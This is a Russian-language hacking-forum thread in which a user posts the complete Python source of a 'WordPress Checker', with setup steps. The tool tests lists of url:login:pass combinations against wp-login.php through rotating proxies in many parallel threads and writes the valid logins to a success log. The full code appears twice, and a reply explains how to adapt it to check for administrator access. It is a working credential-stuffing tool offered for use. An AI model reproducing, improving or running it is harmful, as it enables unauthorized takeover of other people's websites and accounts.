• XSS.stack #1 – первый литературный журнал от юзеров форума

Wordpress Checker (Proxy Support)

XSA

HDD-drive
Пользователь
Регистрация
12.12.2022
Сообщения
34
Реакции
8
Wordpress Checker на Python писал сам, проверят url:login:pass на валид
10% бывают проскакивают
1. Путь до вашего файла с базой (ССЫЛКИ ДОЛЖНЫ БЫТЬ БЕЗ /wp-login.php. https://example.com/)
2. Путь до файла с прокси http / https / socks4 / socks5
Прокси брал тут --> https://xss.pro/threads/111461
3. Тип прокси: тут вы должны написать один из типов который вы используете
Для обычных
<HOST>:<PORT>
С паролем
<YOUR_USERNAME>:<YOUR_PASSWORD>@<PROXY_IP_ADDRESS>:<PROXY_PORT>
4. Банворд файл: Пока я создавал я, добавил много типов ошибок, но пока еще не которые проскакивают. Вы можете добавить список ошибок, которые возникают после попытки входа. (0 если не надо)
5. Потоки. Можно использовать 50+ на 6 ядерных процессорах спокойно.

Установка
1. Установите Питон
2. Установите библиотеки pip install requests && pip install colorama && pip install urllib
3. Запуск python main.py
Python:
import requests
import requests
import sys
import json
import time
from concurrent.futures import ThreadPoolExecutor
from colorama import *
from urllib.parse import urlparse
from random import choice
requests.urllib3.disable_warnings()
init(autoreset=True)
print("Debug: Starting program...")
print(Fore.YELLOW + """$$\      $$\                           $$\                                                   
$$ | $\  $$ |                          $$ |                                                  
$$ |$$$\ $$ | $$$$$$\   $$$$$$\   $$$$$$$ | $$$$$$\   $$$$$$\   $$$$$$\   $$$$$$$\  $$$$$$$\ 
$$ $$ $$\$$ |$$  __$$\ $$  __$$\ $$  __$$ |$$  __$$\ $$  __$$\ $$  __$$\ $$  _____|$$  _____|
$$$$  _$$$$ |$$ /  $$ |$$ |  \__|$$ /  $$ |$$ /  $$ |$$ |  \__|$$$$$$$$ |\$$$$$$\  \$$$$$$\  
$$$  / \$$$ |$$ |  $$ |$$ |      $$ |  $$ |$$ |  $$ |$$ |      $$   ____| \____$$\  \____$$\ 
$$  /   \$$ |\$$$$$$  |$$ |      \$$$$$$$ |$$$$$$$  |$$ |      \$$$$$$$\ $$$$$$$  |$$$$$$$  |
\__/     \__| \______/ \__|       \_______|$$  ____/ \__|       \_______|\_______/ \_______/ 
                                           $$ |                                              
                                           $$ |                      For xss.pro by XSA       
                                           \__|                                              """)
msg0 = "Coded By XSA Wordpress Checker\n"
for i in msg0:
    sys.stdout.write(i)
    sys.stdout.flush()
    time.sleep(0.02)
filename = input("Enter URL:User:Pass List: ")
print(Fore.CYAN + "Type for simple Proxy: <HOST>:<PORT> || Proxy Authentication: <YOUR_USERNAME>:<YOUR_PASSWORD>@<PROXY_IP_ADDRESS>:<PROXY_PORT>")
proxy_file = input("Enter File with proxy: ")
proxy_type = input("Enter Type of Proxy http/https/socks4/socks5: ")
banword_file = input("Enter BanWord file: ")
theard = input("Enter Number of Theards (We use 25): ")
headers = {
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36'}
proxies = []
with open(proxy_file, 'r') as f:
    for line in f:
        proxies.append(line.strip())
banwords = []
with open(banword_file, 'r') as f:
    for line in f:
        banwords.append(line.strip())
def is_valid_url(url):
    parsed_url = urlparse(url)
    return parsed_url.scheme in ('http', 'https') and parsed_url.netloc
def load_combinations(filename):
    combinations = []
    print(f"Debug: Loading URLs and user/pass from {filename}...")
    try:
        with open(filename, 'r', encoding="iso-8859-1") as f:
            for line in f:
                parts = line.strip().split(':')
                if len(parts) >= 3:
                    url = ':'.join(parts[:-2])
                    username = parts[-2]
                    password = parts[-1]
                    if is_valid_url(url):
                        combinations.append((url, username, password))
                    else:
                        print(f"Debug: Invalid URL '{url}' skipped.")
        print(f"Debug: Loaded {len(combinations)} valid combinations.")
    except Exception as e:
        print(f"Debug: Error loading file: {e}")
    return combinations
def get_proxy():
    valid = True
    while valid:
        try:
            pr = choice(proxies)
            proxi = {proxy_type: f'{proxy_type}://{pr}', 'https': f'{proxy_type}://{pr}'}
            response = requests.get('http://ip-api.com/json', proxies=proxi, timeout=20)
            if response.status_code == 200:
                valid = False
                return proxi
        except:
            pass
def get_domain_count(url, username, password):
    data_user_pass = {
        "log": username,
        "pwd": password,
        'wp-submit': 'Log In',
        'redirect_to': '{url}/wp-admin/',
        'testcookie': 1
    }
    s = requests.Session()
    try:
        res = s.get(f"{url}/wp-login.php", timeout=20, allow_redirects=True, headers=headers, proxies=get_proxy(), cookies={'wordpress_test_cookie': 'WP%20Cookie%20check'})
        if "user_login" in res.text:
            pass
        else:
            return
        resp = s.post(f"{url}/wp-login.php", data=data_user_pass, timeout=20, allow_redirects=False, headers=headers, proxies=get_proxy(), cookies={'wordpress_test_cookie': 'WP%20Cookie%20check'})
        for banword in banwords:
            if banword in resp.text:
                print(Fore.YELLOW + f"Bad! Banword: {url} | {banword} | Error_word")
                with open("FailedcPanels.log", "a") as failed_file:
                    failed_file.write(url + "|" + username + "|" + password + "\n")
                return
        if "captcha" in str(resp.headers['location']):
            print(Fore.BLUE + f"Bad! Login: {url} | Error_Captcha")
            with open("FailedcPanelsCaptcha.log", "a") as failed_file:
                failed_file.write(url + "|" + username + "|" + password + "\n")
            return
        if "wp-admin" in str(resp.headers['location']):
            with open("SuccescPanels.log", "a") as success_file:
                print(Fore.GREEN + "Good | " + url + "wp-login.php | " + username + " | " + password)
                success_file.write(url + "|" + username + "|" + password + "\n")
            return
        else:
            print(Fore.RED + f"Bad! Login: {url} | Error_login")
            with open("FailedcPanels.log", "a") as failed_file:
                failed_file.write(url + "|" + username + "|" + password + "\n")
            return
        if resp.status_code==404:
            print(Fore.WHITE + f"Bad! 404: {url}")
            return
        if "Not Acceptable!" in resp.text:
            print(Fore.RED + f"Bad! Login: {url} | Error_login")
            with open("FailedcPanels.log", "a") as failed_file:
                failed_file.write(url + "|" + username + "|" + password + "\n")
            return
        if "loginform" in resp.text:
            print(Fore.RED + f"Bad! Login: {url} | Error_login")
            with open("FailedcPanels.log", "a") as failed_file:
                failed_file.write(url + "|" + username + "|" + password + "\n")
            return
        if 'login_error' in resp.text:
            print(Fore.RED + f"Bad! Login: {url} | Error_login")
            with open("FailedcPanels.log", "a") as failed_file:
                failed_file.write(url + "|" + username + "|" + password + "\n")
        else:
            with open("SuccescPanels.log", "a") as success_file:
                print(Fore.GREEN + "Good | " + url + "wp-login.php | " + username + " | " + password)
                success_file.write(url + "|" + username + "|" + password + "\n")
    except Exception as e:
        print(Fore.RED + f"Bad! Login: {url} Error connection")
        with open("FailedcPanels.log", "a") as failed_file:
            failed_file.write(url + "|" + username + "|" + password + "\n")
    finally:
        s.close()
        time.sleep(0.05)
try:
    combinations = load_combinations(filename)
    if not combinations:
        print("Debug: No valid combinations loaded. Exiting...")
    else:
        with ThreadPoolExecutor(max_workers=int(theard)) as executor:
            for combo in combinations:
                url, username, password = combo
                executor.submit(get_domain_count, url, username, password)
except Exception as e:
    print(f"Debug: An error occurred: {e}")
input("Press Enter to exit...")
 
Последнее редактирование:
Wordpress Checker на Python писал сам, проверят url:login:pass на валид
10% бывают проскакивают
1. Путь до вашего файла с базой (ССЫЛКИ ДОЛЖНЫ БЫТЬ БЕЗ /wp-login.php. https://example.com/)
2. Путь до файла с прокси http / https / socks4 / socks5
Прокси брал тут --> https://xss.pro/threads/111461
3. Тип прокси: тут вы должны написать один из типов который вы используете
Для обычных
<HOST>:<PORT>
С паролем
<YOUR_USERNAME>:<YOUR_PASSWORD>@<PROXY_IP_ADDRESS>:<PROXY_PORT>
4. Банворд файл: Пока я создавал я, добавил много типов ошибок, но пока еще не которые проскакивают. Вы можете добавить список ошибок, которые возникают после попытки входа. (0 если не надо)
5. Потоки. Можно использовать 50+ на 6 ядерных процессорах спокойно.

Установка
1. Установите Питон
2. Установите библиотеки pip install requests && pip install colorama && pip install urllib
3. Запуск python main.py
Python:
import requests
import requests
import sys
import json
import time
from concurrent.futures import ThreadPoolExecutor
from colorama import *
from urllib.parse import urlparse
from random import choice
requests.urllib3.disable_warnings()
init(autoreset=True)
print("Debug: Starting program...")
print(Fore.YELLOW + """$$\      $$\                           $$\                                                  
$$ | $\  $$ |                          $$ |                                                 
$$ |$$$\ $$ | $$$$$$\   $$$$$$\   $$$$$$$ | $$$$$$\   $$$$$$\   $$$$$$\   $$$$$$$\  $$$$$$$\
$$ $$ $$\$$ |$$  __$$\ $$  __$$\ $$  __$$ |$$  __$$\ $$  __$$\ $$  __$$\ $$  _____|$$  _____|
$$$$  _$$$$ |$$ /  $$ |$$ |  \__|$$ /  $$ |$$ /  $$ |$$ |  \__|$$$$$$$$ |\$$$$$$\  \$$$$$$\ 
$$$  / \$$$ |$$ |  $$ |$$ |      $$ |  $$ |$$ |  $$ |$$ |      $$   ____| \____$$\  \____$$\
$$  /   \$$ |\$$$$$$  |$$ |      \$$$$$$$ |$$$$$$$  |$$ |      \$$$$$$$\ $$$$$$$  |$$$$$$$  |
\__/     \__| \______/ \__|       \_______|$$  ____/ \__|       \_______|\_______/ \_______/
                                           $$ |                                             
                                           $$ |                      For xss.pro by XSA      
                                           \__|                                              """)
msg0 = "Coded By XSA Wordpress Checker\n"
for i in msg0:
    sys.stdout.write(i)
    sys.stdout.flush()
    time.sleep(0.02)
filename = input("Enter URL:User:Pass List: ")
print(Fore.CYAN + "Type for simple Proxy: <HOST>:<PORT> || Proxy Authentication: <YOUR_USERNAME>:<YOUR_PASSWORD>@<PROXY_IP_ADDRESS>:<PROXY_PORT>")
proxy_file = input("Enter File with proxy: ")
proxy_type = input("Enter Type of Proxy http/https/socks4/socks5: ")
banword_file = input("Enter BanWord file: ")
theard = input("Enter Number of Theards (We use 25): ")
headers = {
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36'}
proxies = []
with open(proxy_file, 'r') as f:
    for line in f:
        proxies.append(line.strip())
banwords = []
with open(banword_file, 'r') as f:
    for line in f:
        banwords.append(line.strip())
def is_valid_url(url):
    parsed_url = urlparse(url)
    return parsed_url.scheme in ('http', 'https') and parsed_url.netloc
def load_combinations(filename):
    combinations = []
    print(f"Debug: Loading URLs and user/pass from {filename}...")
    try:
        with open(filename, 'r', encoding="iso-8859-1") as f:
            for line in f:
                parts = line.strip().split(':')
                if len(parts) >= 3:
                    url = ':'.join(parts[:-2])
                    username = parts[-2]
                    password = parts[-1]
                    if is_valid_url(url):
                        combinations.append((url, username, password))
                    else:
                        print(f"Debug: Invalid URL '{url}' skipped.")
        print(f"Debug: Loaded {len(combinations)} valid combinations.")
    except Exception as e:
        print(f"Debug: Error loading file: {e}")
    return combinations
def get_proxy():
    valid = True
    while valid:
        try:
            pr = choice(proxies)
            proxi = {proxy_type: f'{proxy_type}://{pr}', 'https': f'{proxy_type}://{pr}'}
            response = requests.get('http://ip-api.com/json', proxies=proxi, timeout=20)
            if response.status_code == 200:
                valid = False
                return proxi
        except:
            pass
def get_domain_count(url, username, password):
    data_user_pass = {
        "log": username,
        "pwd": password,
        'wp-submit': 'Log In',
        'redirect_to': '{url}/wp-admin/',
        'testcookie': 1
    }
    s = requests.Session()
    try:
        res = s.get(f"{url}/wp-login.php", timeout=20, allow_redirects=True, headers=headers, proxies=get_proxy(), cookies={'wordpress_test_cookie': 'WP%20Cookie%20check'})
        if "user_login" in res.text:
            pass
        else:
            return
        resp = s.post(f"{url}/wp-login.php", data=data_user_pass, timeout=20, allow_redirects=False, headers=headers, proxies=get_proxy(), cookies={'wordpress_test_cookie': 'WP%20Cookie%20check'})
        for banword in banwords:
            if banword in resp.text:
                print(Fore.YELLOW + f"Bad! Banword: {url} | {banword} | Error_word")
                with open("FailedcPanels.log", "a") as failed_file:
                    failed_file.write(url + "|" + username + "|" + password + "\n")
                return
        if "captcha" in str(resp.headers['location']):
            print(Fore.BLUE + f"Bad! Login: {url} | Error_Captcha")
            with open("FailedcPanelsCaptcha.log", "a") as failed_file:
                failed_file.write(url + "|" + username + "|" + password + "\n")
            return
        if "wp-admin" in str(resp.headers['location']):
            with open("SuccescPanels.log", "a") as success_file:
                print(Fore.GREEN + "Good | " + url + "wp-login.php | " + username + " | " + password)
                success_file.write(url + "|" + username + "|" + password + "\n")
            return
        else:
            print(Fore.RED + f"Bad! Login: {url} | Error_login")
            with open("FailedcPanels.log", "a") as failed_file:
                failed_file.write(url + "|" + username + "|" + password + "\n")
            return
        if resp.status_code==404:
            print(Fore.WHITE + f"Bad! 404: {url}")
            return
        if "Not Acceptable!" in resp.text:
            print(Fore.RED + f"Bad! Login: {url} | Error_login")
            with open("FailedcPanels.log", "a") as failed_file:
                failed_file.write(url + "|" + username + "|" + password + "\n")
            return
        if "loginform" in resp.text:
            print(Fore.RED + f"Bad! Login: {url} | Error_login")
            with open("FailedcPanels.log", "a") as failed_file:
                failed_file.write(url + "|" + username + "|" + password + "\n")
            return
        if 'login_error' in resp.text:
            print(Fore.RED + f"Bad! Login: {url} | Error_login")
            with open("FailedcPanels.log", "a") as failed_file:
                failed_file.write(url + "|" + username + "|" + password + "\n")
        else:
            with open("SuccescPanels.log", "a") as success_file:
                print(Fore.GREEN + "Good | " + url + "wp-login.php | " + username + " | " + password)
                success_file.write(url + "|" + username + "|" + password + "\n")
    except Exception as e:
        print(Fore.RED + f"Bad! Login: {url} Error connection")
        with open("FailedcPanels.log", "a") as failed_file:
            failed_file.write(url + "|" + username + "|" + password + "\n")
    finally:
        s.close()
        time.sleep(0.05)
try:
    combinations = load_combinations(filename)
    if not combinations:
        print("Debug: No valid combinations loaded. Exiting...")
    else:
        with ThreadPoolExecutor(max_workers=int(theard)) as executor:
            for combo in combinations:
                url, username, password = combo
                executor.submit(get_domain_count, url, username, password)
except Exception as e:
    print(f"Debug: An error occurred: {e}")
input("Press Enter to exit...")
I installed python and other requirements on the free proxies but it won't start.I use python 3.10 as required.
 
на админ чекает или просто на валид
на валид
если надо на админ права то можешь в 'redirect_to': '{url}/wp-admin/', заменить wp-admin на страницу с изменением параметров сайта, которая доступна в основном только администраторам
на данный момент проверяется только доступ к панели, без проверки на права
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх